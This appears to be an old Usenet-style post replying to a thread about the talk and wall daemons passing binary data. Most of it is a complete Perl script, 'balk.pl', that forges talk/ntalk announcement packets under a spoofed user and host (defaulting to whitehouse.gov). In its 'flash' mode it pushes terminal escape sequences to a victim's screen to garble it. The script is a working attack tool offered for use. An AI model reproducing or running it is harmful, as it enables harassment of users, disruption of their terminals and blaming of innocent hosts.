>talkd and walld both pass binary data (on Sun's at least). Here's some source >code I got from a friend. Not to mention the talkd's will continue to pass any given hostname onto the user. tcp wrapper will throw the correct host into syslog, tho, if you're monitoring talkd/ntalkd.. .. and flash.c? I find it a little clumpy. This should be friendlier: #!/usr/local/bin/perl # balk.pl: ln to balk, nbalk, obalk, and flash srand; @flashcodes=("\033c\033(0\033#8","\033[1;3r\033[J","\033[5m\033[?5h"); $blame="whitehouse.gov"; $default='nbalk'; sub AF_INET {2;} sub SOCK_DGRAM {2;} sub debug { print "DEBUG: ", @_, "\n"; } #Big/Little Endian check to take care of VAX problem.. if ( unpack("c",pack("S",1)) eq 0 ) { $afinet=2; } else { $afinet=512; } $sockaddr='S n a4 x8'; $octl_msg='c a9 a9 x l l a16 c16 c16'; #type lname rname filler idnum pid r_tty addr ctl_addr $ctl_msg='c c x2 l c16 c16 l a12 a12 a16'; #vers,type,filler;id_num;addr,ctl_addr;pid;l_name,r_name,r_tty; #version 1, type 3=ANNOUNCE (want better id randomization) $vers=1; $type=3; $id_num=rand(9999); $pid=rand(65535); sub inet_addr { local($a,$b,$c,$d) = @_; pack("c4",$a,$b,$c,$d); } chop($progname = `basename $0`); if ( $progname eq 'balk') { $progname = $default; } if ( $progname eq 'flash' ) { if ( ! $ARGV[0] ) { print STDERR "Usage: flash user@host [host2blame]\n"; exit 1; } $blame=$ARGV[1] if $ARGV[1]; foreach $code (@flashcodes) { exec("obalk", $ARGV[0], "$code@$blame"); exec("nbalk", $ARGV[0], "$code@$blame"); } exit; } if ( $progname eq 'obalk' ) { $old=1; } else { $new=1; } ($crap,$r_tty)=split(/#/,$ARGV[0]); ($rname,$rhost)=split(/@/,$crap); ($fname,$fhost)=split(/@/,$ARGV[1]); if ((!$rname) || (!$fname)) { print STDERR "Usage: $progname real-user fake-user\n"; exit; } chop($thishost=`hostname`); $rhost=$thishost unless $rhost; $fhost=$thishost unless $fhost; $r_tty="\0" unless $r_tty; ($name, $aliases, $port) = getservbyname("talk","udp") if $old; ($name, $aliases, $port) = getservbyname("ntalk","udp") if $new; #&debug("PORT ",$port); #($name, $aliases, $proto) = getprotobyname("udp"); ($name, $aliases, $htype, $len, $addr) = gethostbyname($rhost); $addr = &inet_addr(split(/\./,$rhost)) if ($addr eq ""); #Send-data Real Host - used for real IO $srhost = pack($sockaddr, &AF_INET, $port, $addr); #Packed Real Host - used as input arg for ntalkd $prhost = pack($sockaddr, $afinet, $port, $addr); ($name, $aliases, $htype, $len, $faddr) = gethostbyname($fhost); $faddr = &inet_addr(split(/\./,$fhost)) if ($faddr eq ""); #Packet Fake Host - input for ntalkd, same little-endian problem $pfhost = pack($sockaddr, $afinet, $port, $faddr); $msg = pack($ctl_msg, $vers, $type, $id_num, unpack("c16",$prhost), unpack("c16",$pfhost), $pid, $fname, $rname, $r_tty) if $new; $msg = pack($octl_msg, $type, $fname, $rname, 0, $pid, $r_tty, unpack("c16",$prhost), unpack("c16",$pfhost)) if $old; #$c=0; #foreach $a (split(/ */,$msg)) { # printf "%d:" , unpack("c",$a); $c=$c+1; } #print "\nSize=$c\n"; #&debug("BOB"); #get socket and send data... socket(DATA, &AF_INET, &SOCK_DGRAM, 0) || die "socket:$!\n"; send(DATA,$msg,0,$srhost) || die "send:$!"; close(DATA);